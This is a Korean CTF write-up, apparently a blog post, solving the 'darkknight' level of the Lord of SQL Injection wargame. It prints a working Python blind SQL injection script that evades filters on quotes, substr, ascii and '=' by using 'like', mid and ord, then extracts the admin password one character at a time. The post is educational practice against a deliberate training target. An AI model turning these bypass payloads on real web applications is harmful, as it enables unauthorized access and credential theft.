pw에서 싱글쿼터의 입력을 막아두었고, no에서 싱글쿼터, substr, ascii, =의 입력을 막아둔 상태이다.
아래는 비밀번호를 구하는 자동화 스크립트이다.
import requests
url="https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?"
cookies = {'PHPSESSID' : 'hhh6husmeed2bk878j8u8sp1ak'}
len=0
while True:
len+=1
print(len)
val="1 || id like \"admin\" && length(pw) like {} #".format(len)
params={'no':val}
res=requests.get(url, params=params , cookies=cookies)
if "Hello admin" in res.text:
print("password length=",len)
break
print()
arr=[]
for k in range(1,len+1):
for j in range(32,127):
val="1 || id like \"admin\" && ord(mid(pw, {}, 1)) like {} #".format(k, j)
params={'no':val}
res=requests.get(url, params=params , cookies=cookies)
if 'Hello admin' in res.text:
arr.append(chr(j))
print(arr)
break
print("password=",arr)
ord함수는 문자를 인자로 받고, 그 문자에 해당하는 유니코드 정수를 반환한다.
이전 단계에서는 ascii함수를 이용했는데 이를 이용할 수 없어 ord함수를 이용해 자동화 스크립트를 작성하였다.
아래는 위 코드를 실행한 결과이다.
?pw=0b70ea1f를 입력해주었더니 아래와 같이 Clear하였다.
'Web Hacking > Lord of SQL Injection' 카테고리의 다른 글
[Lord of SQL Injection] Giant (0) | 2022.11.06 |
---|---|
[Lord of SQL Injection] Bugbear (0) | 2022.10.09 |
[Lord of SQL Injection] Golem (0) | 2022.09.24 |
[Lord of SQL Injection] Skeleton (0) | 2022.09.18 |
[Lord of SQL Injection] vampire (0) | 2022.09.09 |